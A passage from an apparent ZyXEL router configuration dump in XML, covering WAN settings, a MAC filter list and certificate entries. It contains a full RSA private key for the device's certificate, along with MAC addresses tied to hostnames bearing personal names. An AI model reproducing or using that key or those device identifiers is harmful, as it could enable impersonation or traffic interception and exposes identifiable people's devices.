 <X_5067F0_WanToLanIfName>eth10</X_5067F0_WanToLanIfName>
 <X_5067F0_ConnectionMode>VlanMuxMode</X_5067F0_ConnectionMode>
 <X_5067F0_WanToLanState>2</X_5067F0_WanToLanState>
 </WANEthernetInterfaceConfig>
 <WANConnectionDevice instance="1">
 <WANIPConnectionNumberOfEntries>1</WANIPConnectionNumberOfEntries>
 <WANPPPConnectionNumberOfEntries>0</WANPPPConnectionNumberOfEntries>
 <WANIPConnection instance="1">
 <ConnectionType>IP_Routed</ConnectionType>
 <Name>ETH_DEFAULT</Name>
 <NATEnabled>TRUE</NATEnabled>
 <ExternalIPAddress notification="2">0.0.0.0</ExternalIPAddress>
 <X_5067F0_IGMPEnabled>TRUE</X_5067F0_IGMPEnabled>
 <X_5067F0_IfName>eth10.1</X_5067F0_IfName>
 <X_5067F0_ConnectionId>1</X_5067F0_ConnectionId>
 <PortMappingNumberOfEntries>0</PortMappingNumberOfEntries>
 <X_5067F0_GatewayUsed>TRUE</X_5067F0_GatewayUsed>
 </WANIPConnection>
 <WANIPConnection nextInstance="2" ></WANIPConnection>
 </WANConnectionDevice>
 <WANConnectionDevice nextInstance="2" ></WANConnectionDevice>
 </WANDevice>
 <X_5067F0_VcAutoHunt>
 <NumPvcSet>2</NumPvcSet>
 <VcHuntInfo instance="1">
 <PvcId>0</PvcId>
 <NumHuntRule>7</NumHuntRule>
 <VcHuntRule instance="1">
 </VcHuntRule>
 <VcHuntRule instance="2">
 <RuleId>1</RuleId>
 </VcHuntRule>
 <VcHuntRule instance="3">
 <RuleId>2</RuleId>
 </VcHuntRule>
 <VcHuntRule instance="4">
 <RuleId>3</RuleId>
 </VcHuntRule>
 <VcHuntRule instance="5">
 <RuleId>4</RuleId>
 </VcHuntRule>
 <VcHuntRule instance="6">
 <RuleId>5</RuleId>
 </VcHuntRule>
 <VcHuntRule instance="7">
 <RuleId>6</RuleId>
 </VcHuntRule>
 <VcHuntRule nextInstance="8" ></VcHuntRule>
 </VcHuntInfo>
 <VcHuntInfo instance="2">
 <PvcId>1</PvcId>
 <NumHuntRule>7</NumHuntRule>
 <VcHuntRule instance="1">
 </VcHuntRule>
 <VcHuntRule instance="2">
 <RuleId>1</RuleId>
 </VcHuntRule>
 <VcHuntRule instance="3">
 <RuleId>2</RuleId>
 </VcHuntRule>
 <VcHuntRule instance="4">
 <RuleId>3</RuleId>
 </VcHuntRule>
 <VcHuntRule instance="5">
 <RuleId>4</RuleId>
 </VcHuntRule>
 <VcHuntRule instance="6">
 <RuleId>5</RuleId>
 </VcHuntRule>
 <VcHuntRule instance="7">
 <RuleId>6</RuleId>
 </VcHuntRule>
 <VcHuntRule nextInstance="8" ></VcHuntRule>
 </VcHuntInfo>
 <VcHuntInfo nextInstance="3" ></VcHuntInfo>
 </X_5067F0_VcAutoHunt>
 <Layer3Forwarding>
 <DefaultConnectionService>InternetGatewayDevice.WANDevice.2.WANConnectionDevice.1.WANIPConnection.1</DefaultConnectionService>
 <ForwardNumberOfEntries>0</ForwardNumberOfEntries>
 <X_5067F0_DefaultConnectionServices>atm0,atm1,ptm0.1,eth10.1</X_5067F0_DefaultConnectionServices>
 </Layer3Forwarding>
 <X_5067F0_MacFilterObj>
 <X_5067F0_MacFilterCfg instance="1">
 <Enable>TRUE</Enable>
 <SourceMAC>c8:2a:14:40:ec:e1</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="2">
 <Enable>TRUE</Enable>
 <SourceMAC>e4:ce:8f:2d:5a:88</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="3">
 <Enable>TRUE</Enable>
 <HostName>RachaelRsiPhone</HostName>
 <SourceMAC>6c:40:08:30:81:e6</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="4">
 <Enable>TRUE</Enable>
 <HostName>Gwens-iPhone</HostName>
 <SourceMAC>90:fd:61:8a:69:39</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="5">
 <Enable>TRUE</Enable>
 <HostName>Gwendolyns-Air</HostName>
 <SourceMAC>9c:f3:87:b6:be:86</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="6">
 <Enable>TRUE</Enable>
 <HostName>EPSON4752B1</HostName>
 <SourceMAC>b0:e8:92:47:52:b1</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="7">
 <Enable>TRUE</Enable>
 <SourceMAC>00:00:00:00:00:00</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="8">
 <Enable>TRUE</Enable>
 <HostName>A4003700</HostName>
 <SourceMAC>88:1f:a1:01:84:d8</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="9">
 <Enable>TRUE</Enable>
 <HostName>KeithCursiPhone</HostName>
 <SourceMAC>78:31:c1:34:63:9b</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="10">
 <Enable>TRUE</Enable>
 <SourceMAC>48:44:f7:52:8a:f6</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="11">
 <Enable>TRUE</Enable>
 <HostName>L080901</HostName>
 <SourceMAC>fc:15:b4:e7:da:6b</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="12">
 <Enable>TRUE</Enable>
 <HostName>L080901</HostName>
 <SourceMAC>e0:9d:31:51:a6:94</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="13">
 <Enable>TRUE</Enable>
 <HostName>MI3-xiaomishouji</HostName>
 <SourceMAC>14:f6:5a:cd:71:d2</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="14">
 <Enable>TRUE</Enable>
 <HostName>Anthony-Laptop</HostName>
 <SourceMAC>60:36:dd:8f:25:78</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="15">
 <Enable>TRUE</Enable>
 <HostName>BLACKBERRY-Q10</HostName>
 <SourceMAC>94:eb:cd:53:5b:c4</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="16">
 <Enable>TRUE</Enable>
 <HostName>Mello</HostName>
 <SourceMAC>24:a2:e1:b1:42:b4</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="17">
 <Enable>TRUE</Enable>
 <HostName>JoeyCheMacBook2</HostName>
 <SourceMAC>3c:15:c2:df:47:ee</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="18">
 <Enable>TRUE</Enable>
 <HostName>cheungsesiPhone</HostName>
 <SourceMAC>88:cb:87:1f:9b:78</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="19">
 <Enable>TRUE</Enable>
 <HostName>nemph</HostName>
 <SourceMAC>68:5d:43:56:b3:a5</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="20">
 <Enable>TRUE</Enable>
 <HostName>android-93064ab963f8f8b1</HostName>
 <SourceMAC>14:30:c6:a9:02:0f</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="21">
 <Enable>TRUE</Enable>
 <HostName>Pavilion-PC</HostName>
 <SourceMAC>b0:10:41:14:5a:cc</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="22">
 <Enable>TRUE</Enable>
 <HostName>android-bad67e7d974241cb</HostName>
 <SourceMAC>f4:09:d8:9a:84:5d</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="23">
 <Enable>TRUE</Enable>
 <HostName>EPSON065B0F</HostName>
 <SourceMAC>b0:e8:92:06:5b:0f</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="24">
 <Enable>TRUE</Enable>
 <HostName>BLACKBERRY-E8B3</HostName>
 <SourceMAC>80:60:07:5f:c1:59</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="25">
 <Enable>TRUE</Enable>
 <HostName>Waynes-iPhone</HostName>
 <SourceMAC>34:c0:59:d2:52:58</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="26">
 <Enable>TRUE</Enable>
 <HostName>xutongldeiPhone</HostName>
 <SourceMAC>b4:18:d1:31:ce:95</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="27">
 <Enable>TRUE</Enable>
 <HostName>iPad</HostName>
 <SourceMAC>1c:ab:a7:cd:35:50</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="28">
 <Enable>TRUE</Enable>
 <HostName>Wayne</HostName>
 <SourceMAC>90:48:9a:f5:46:c1</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="29">
 <Enable>TRUE</Enable>
 <HostName>HP</HostName>
 <SourceMAC>a4:17:31:14:72:ab</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="30">
 <Enable>TRUE</Enable>
 <HostName>android-b9de5e873bc48747</HostName>
 <SourceMAC>34:23:ba:fc:f9:bb</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="31">
 <Enable>TRUE</Enable>
 <HostName>Perla-PC</HostName>
 <SourceMAC>dc:85:de:1d:43:77</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="32">
 <Enable>TRUE</Enable>
 <SourceMAC>00:23:12:02:ab:0d</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="33">
 <Enable>TRUE</Enable>
 <HostName>vulture</HostName>
 <SourceMAC>3c:15:c2:e7:77:a8</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="34">
 <Enable>TRUE</Enable>
 <HostName>JulieAnnesiPad</HostName>
 <SourceMAC>f0:24:75:0d:b6:8c</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="35">
 <Enable>TRUE</Enable>
 <HostName>android-b514c5a297a2392d</HostName>
 <SourceMAC>f8:a9:d0:67:b0:92</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="36">
 <Enable>TRUE</Enable>
 <HostName>Maleehas-iPhone</HostName>
 <SourceMAC>00:88:65:4a:eb:e5</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="37">
 <Enable>TRUE</Enable>
 <HostName>gateway</HostName>
 <SourceMAC>00:c0:ca:69:af:4c</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="38">
 <Enable>TRUE</Enable>
 <HostName>gateway</HostName>
 <SourceMAC>00:87:12:23:13:2f</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="39">
 <Enable>TRUE</Enable>
 <HostName>gateway</HostName>
 <SourceMAC>30:b5:c2:05:de:74</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="40">
 <Enable>TRUE</Enable>
 <HostName>android-bd7a2672e4354f</HostName>
 <SourceMAC>18:87:96:54:14:3b</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="41">
 <Enable>TRUE</Enable>
 <HostName>Chriss-MBP</HostName>
 <SourceMAC>6c:40:08:a5:bb:82</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="42">
 <Enable>TRUE</Enable>
 <HostName>android-c73b037ffae38898</HostName>
 <SourceMAC>1c:af:05:28:10:76</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="43">
 <Enable>TRUE</Enable>
 <HostName>Shadrak</HostName>
 <SourceMAC>34:de:1a:0d:8f:c7</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg instance="44">
 <Enable>TRUE</Enable>
 <HostName>gateway</HostName>
 <SourceMAC>00:0d:81:af:0c:e8</SourceMAC>
 </X_5067F0_MacFilterCfg>
 <X_5067F0_MacFilterCfg nextInstance="45" ></X_5067F0_MacFilterCfg>
 </X_5067F0_MacFilterObj>
 <X_5067F0_CertificateCfg instance="1">
 <Name>cpecert</Name>
 <Subject>CN=ZyXELcert/O=ZyXEL/OU=ZyXEL/C=TW
</Subject>
 <Type>signed</Type>
 <Content>-----BEGIN CERTIFICATE-----
MIIDKTCCAhECCQCce5j6lQjIPzANBgkqhkiG9w0BAQUFADBsMRQwEgYDVQQDEwsx
NzIuMjEuMS4xNDEOMAwGA1UEChMFenl4ZWwxDDAKBgNVBAsTA2NwZTELMAkGA1UE
BhMCVFcxKTAnBgkqhkiG9w0BCQEWGmpoZW55YW5nLndhbmdAenl4ZWwuY29tLnR3
MB4XDTA5MTIxNzA1MjIyMFoXDTExMTIxNzA1MjIyMFowQTESMBAGA1UEAxMJWnlY
RUxjZXJ0MQ4wDAYDVQQKEwVaeVhFTDEOMAwGA1UECxMFWnlYRUwxCzAJBgNVBAYT
AlRXMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt0rb40B8wvpGQ1Q6
pBbO8M4LO3V4gB0LRhojIriZsFoMC7CHQuzK2jASwDvmcPQQw7TDgK9aJNAYsNNh
ShlKYOEiiKAqCa5edhwTGd6+JLL1lOVf6l7TENKMtBV/TxmG4jReljeOacJ6lIBj
dySqDyEKEnQD+A7stmyOIK/QBa31ujjO9PtSUr46gXDms+XPPkRzKcKFK7vZtNkF
3pNETjMAZaW/5q0h93OZ3yV0GCDKsFkmtP8kDtKbpXjaFp/9GPc3gbkDcIvUJZAz
UXUz0+GyA9P17W2QFOQ2L+elBaHbG1/3hWVaxi2vIwAqGoPGjuOT8F8a13xrVzkR
3hpK+wIDAQABMA0GCSqGSIb3DQEBBQUAA4IBAQBcAd2D10I1dQXMhxlzCXq/mdZn
irqrI5CNpd/5vtspBk7P4Awj9t9R8qtX7J9Ym0ikeaV05gMJAfRzPvW4e9v7ZRjv
YlOpa1PlzMx/1WgcbZrPe+MC9Zd7kaSrCpNvDtnJasiVt4BJMvrtp8pFLNcHIsPo
+gx8uZeuUbhCdDNwlFIJfNEKlEjdhPHdoWJA2As9qw/AAOL89Vuv5jDLgI6YQ1yq
bF6hlpBxz/UjH+l2BGW+qtBlk9qkFpO/Cp7s55OLAb7BgDelzTFIF+HmPlMEuuPm
LQby7Jkcw30ywbvUZA9MGG/Nc/yEBvXzOEtxIYjiPJTIFJavgswFVX+x66Hp
-----END CERTIFICATE-----
</Content>
 <PrivKey>-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAt0rb40B8wvpGQ1Q6pBbO8M4LO3V4gB0LRhojIriZsFoMC7CH
QuzK2jASwDvmcPQQw7TDgK9aJNAYsNNhShlKYOEiiKAqCa5edhwTGd6+JLL1lOVf
6l7TENKMtBV/TxmG4jReljeOacJ6lIBjdySqDyEKEnQD+A7stmyOIK/QBa31ujjO
9PtSUr46gXDms+XPPkRzKcKFK7vZtNkF3pNETjMAZaW/5q0h93OZ3yV0GCDKsFkm
tP8kDtKbpXjaFp/9GPc3gbkDcIvUJZAzUXUz0+GyA9P17W2QFOQ2L+elBaHbG1/3
hWVaxi2vIwAqGoPGjuOT8F8a13xrVzkR3hpK+wIDAQABAoIBAAew7nUkuZd85QHi
QOutwVU9cB84mKvXjCeO5TaJxHkv7h13dNWMFh79sWu7l7nZo/JyXVnDAedVjBOv
av+u+/4AtHBDOEBbvr76ApstS5FCqSdsUJAHFpg4HYtY85SgH5bSV7256xHpBTfC
A2p2cWRdII0RrTD1f11QRM5+Uh5K0jreLGfNl8IdOC3IR0G1dwhlSO92A5HGWPi4
DquJtq3apvX0HgS/oTCZmYP1wzjDJzcSVwW2XYmHFH9wiBiAnru2+XO+eJZtW2em
0ssTyo3/EJGYkJGHd+vOugyjH8t+VBDYA+iphChDuuRT/So8GrSDfSFhmjw3NAnB
qZwPR4ECgYEA3zI/LLrMbNDYwpEAnTjA0NsXHfm/sn+II3/RmmgSXaHIg9ge4jk0
3rWplIWTY5gFF8qo0gdR45gdmxAW+Uw8Yqr1thhVPPR+gJ7o8LiRl1xFgsDbDeLA
sZ+hAZWPhmQaJydckvo/UoMdFjm9BhZl0yCAB2+6ZyXhvGABbvMIPBsCgYEA0js7
DRkLARbv3g9NX9L0hHOIEMoUyWIb/0b+KuU++PWlzXxMOKPSMbwJf4axmviIblyD
o22v7Z9sY5V5AgVXkpQzSyp3qnlDtP3J2TpBG9XagL9sIz0gif+4sxReyC9jn+wv
okr4J79CM0Agjt0WOt4UdGdwyvvBwg2WRpkRWqECgYEAi9UsFTb2yhnSI5u62cVr
r64Dfqkwu4EA5tS2mdkn4Hdya3+kYbDbecgwdTd2jsf4MN6sA+HIISH1MmfTLN7h
WiOniy0Vgfnfo29rmxzXQg/yEKgI1VtBxEaxFZAA+n6OkAcuDXsw3t38BCeqUD0K
EErlS0NpciQel+lCHKOwfg8CgYAi54ShYxQJpUZEByRgkYTZbNkdeH/FA84EL0RJ
2PAAo8BYgpehG8ntSfwFuVZJlZQJRsDwZGi+OibjzdBefoaQppxxkWZ23lVYen6F
238t4O67S4znuOFrKBMBYJNwBzYyOiOafXoAF2glXDNLpPdo5LBet0Hp4azEzD60
D/vqoQKBgHdz6bc308y+bSAaUcbEqSkUekWzyIldXanhKeYb9/YP+N4NFVLrYtP/
880iVAp8ARriXMQZW3UKjt/qQktOeiy3gJAO09qJ3AafGNyrCsmGLCWjBtaZZvuj
tGteeJ4vsUB9kaLRl20D8JNA7LiF8WqjfBuk5kWvHi9z+hVq7/QD
-----END RSA PRIVATE KEY-----
</PrivKey>
 <RefCount>1</RefCount>
 </X_5067F0_CertificateCfg>
 <X_5067F0_CertificateCfg instance="2">
 <Name>Pca-3.pem</Name>
 <Subject>C=US/O=VeriSign, Inc./OU=Class 3 Public Primary Certification Authority
</Subject>
 <Type>ca</Type>
 <Content>-----BEGIN CERTIFICATE-----
MIICPDCCAaUCEDyRMcsf9tAbDpq40ES/Er4wDQYJKoZIhvcNAQEFBQAwXzELMAkG
A1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFz
cyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2
MDEyOTAwMDAwMFoXDTI4MDgwMjIzNTk1OVowXzELMAkGA1UEBhMCVVMxFzAVBgNV
BAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmlt
YXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUAA4GN
ADCBiQKBgQDJXFme8huKARS0EN8EQNvjV69qRUCPhAwL0TPZ2RHP7gJYHyX3KqhE
BarsAx94f56TuZoAqiN91qyFomNFx3InzPRMxnVx0jnvT0Lwdd8KkMaOIG+YD/is
I19wKTakyYbnsZogy1Olhec9vn2a/iRFM9x2Fe0PonFkTGUugWhFpwIDAQABMA0G
CSqGSIb3DQEBBQUAA4GBABByUqkFFBkyCEHwxWsKzH4PIRnN5GfcX6kb5sroc50i
2JhucwNhkcV8sEVAbkSdjbCxlnRhLQ2pRdKkkirWmnWXbj9T/UWZYB2oK0z5XqcJ
2HUw19JlYD1n1khVdWk/kfVIC0dpImmClr7JyDiGSnoscxlIaU5rfGW/D/xwzoiQ
-----END CERTIFICATE-----
</Content>
 <EnableCACertTR069>TRUE</EnableCACertTR069>
 </X_5067F0_CertificateCfg>
 <X_5067F0_CertificateCfg instance="3">
 <Name>Pca-3g5.pem</Name>
 <Subject>C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=(c) 2006 VeriSign, Inc. - For authorized use only/CN=VeriSign Class 3 Public Primary Certification Authority - G5
</Subject>
 <Type>ca</Type>
 <Content>-----BEGIN CERTIFICATE-----
MIIE0zCCA7ugAwIBAgIQGNrRniZ96LtKIVjNzGs7SjANBgkqhkiG9w0BAQUFADCB
yjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL
ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJp
U2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxW
ZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0
aG9yaXR5IC0gRzUwHhcNMDYxMTA4MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCByjEL
MAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZW
ZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2ln
biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJp
U2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9y
aXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1
nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ/XxrcgxiV0i6CqqpkKzj/i5Vbex
t0uz/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6/WhkcIz
SdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQG
BO+QueQA5N06tRn/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+
rCpSx4/VBEnkjWNHiDxpg8v+R70rfk/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10/
NIeWiu5T6CUVAgMBAAGjgbIwga8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8E
BAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAH
BgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVy
aXNpZ24uY29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFH/TZafC3ey78DAJ80M5+gKv
MzEzMA0GCSqGSIb3DQEBBQUAA4IBAQCTJEowX2LP2BqYLz3q3JktvXf2pXkiOOzE
p6B4Eq1iDkVwZMXnl2YtmAl+X6/WzChl8gGqCBpH3vn5fJJaCGkgDdk+bW48DW7Y
5gaRQBi5+MHt39tBquCWIMnNZBU4gcmU7qKEKQsTb47bDN0lAtukixlE0kF6BWlK
WE9gyn6CagsCqiUXObXbf+eEZSqVir2G3l6BFoMtEMze/aiCKm0oHw0LxOXnGiYZ
4fQRbxC1lfznQgUy286dUV4otp6F01vvpX1FQHKOtw5rDgb7MzVIcbidJ4vEZV8N
hnacRHr2lVz2XTIIM6RUthg/aFzyQkqFOFSDX9HoLPKsEdao7WNq
-----END CERTIFICATE-----
</Content>
 <EnableCACertTR069>TRUE</EnableCACertTR069>
 </X_5067F0_CertificateCfg>
 <X_5067F0_CertificateCfg instance="4">
 <Name>PCA-3G3.pem</Name>
 <Subject>C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=(c) 1999 VeriSign, Inc. - For authorized use only/CN=VeriSign Class 3 Public Primary Certification Authority - G3
</Subject>
 <Type>ca</Type>
 <Content>-----BEGIN CERTIFICATE-----
MIIEGjCCAwICEQCbfgZJoz5iudXukEhxKe9XMA0GCSqGSIb3DQEBBQUAMIHKMQsw
CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZl
cmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWdu
LCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlT
aWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3Jp
dHkgLSBHMzAeFw05OTEwMDEwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMIHKMQswCQYD
VQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlT
aWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJ
bmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWdu
IENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkg
LSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMu6nFL8eB8aHm8b
N3O9+MlrlBIwT/A2R/XQkQr1F8ilYcEWQE37imGQ5XYgwREGfassbqb1EUGO+i2t
KmFZpGcmTNDovFJbcCAEWNF6yaRpvIMXZK0Fi7zQWM6NjPXr8EJJC52XJ2cybuGu
kxUccLwgTS8Y3pKI6GyFVxEa6X7jJhFUokWWVYPKMIno3Nij7SqAP395ZVc+FSBm
CC+Vk7+qRy+oRpfwEuL+wgorUeZ25rdGt+INpsyow0xZVYnm6FNcHOqd8GIWC6fJ
Xwzw3sJ2zq/3avL6QaaiMxTJ5Xpj055iN9WFZZ4O5lMkdBteHRJTW8cs54NJOxWu
imi5V5cCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAERSWwauSCPc/L8my/uRan2Te
2yFPhpk0djZX3dAVL8WtfxUfN2JzPtTnX84XA9s1+ivbrmAJXx5fj267Cz3qWhMe
DGBvtcC1IyIuBwvLqXTLR7sdwdela8wv0kL9Sd2nic9TutoAWii/gt/4uhMdUIaC
/Y4wjylGsB49Ndo4YhYYSq3mtlFs3q9i6wHQHiT+eo8SGhJouPtmmRQURVyu565p
F4ErWjfJXir0xuKhXFSbplQAz/DxwceYMBo7Nhbbo27q/a2ywtrvAkcTisDxszGt
TxzhT5yvDwyd93gN2PQ1VoDat20Xj50egWTh/sVFuq1ruQp6Tk9LhO5L8X3dEQ==
-----END CERTIFICATE-----
</Content>
 <EnableCACertTR069>TRUE</EnableCACertTR069>
 </X_5067F0_CertificateCfg>
 <X_5067F0_CertificateCfg nextInstance="5" ></X_5067F0_CertificateCfg>
 <X_5067F0_NetworkConfig>
 <DNSIfName>atm0,atm1,ptm0.1,eth10.1</DNSIfName>
 </X_5067F0_NetworkConfig>
 <X_5067F0_IGMP>
 <IGMPproxy>TRUE</IGMPproxy>
 <GroupStats nextInstance="34" ></GroupStats>
 <HostStats nextInstance="76" ></HostStats>
 <HostConfig instance="6">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>TRUE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>b0:e8:92:47:52:b1</HostMacAddr>
 </HostConfig>
 <HostConfig instance="7">
 <HostIPAddr>0.0.0.0</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>00:00:00:00:00:00</HostMacAddr>
 </HostConfig>
 <HostConfig instance="10">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>TRUE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>48:44:f7:52:8a:f6</HostMacAddr>
 </HostConfig>
 <HostConfig instance="25">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>TRUE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>b0:e8:92:06:5b:0f</HostMacAddr>
 </HostConfig>
 <HostConfig instance="32">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>34:23:ba:fc:f9:bb</HostMacAddr>
 </HostConfig>
 <HostConfig instance="33">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>dc:85:de:1d:43:77</HostMacAddr>
 </HostConfig>
 <HostConfig instance="38">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>24:a2:e1:b1:42:b4</HostMacAddr>
 </HostConfig>
 <HostConfig instance="41">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>b0:10:41:14:5a:cc</HostMacAddr>
 </HostConfig>
 <HostConfig instance="46">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
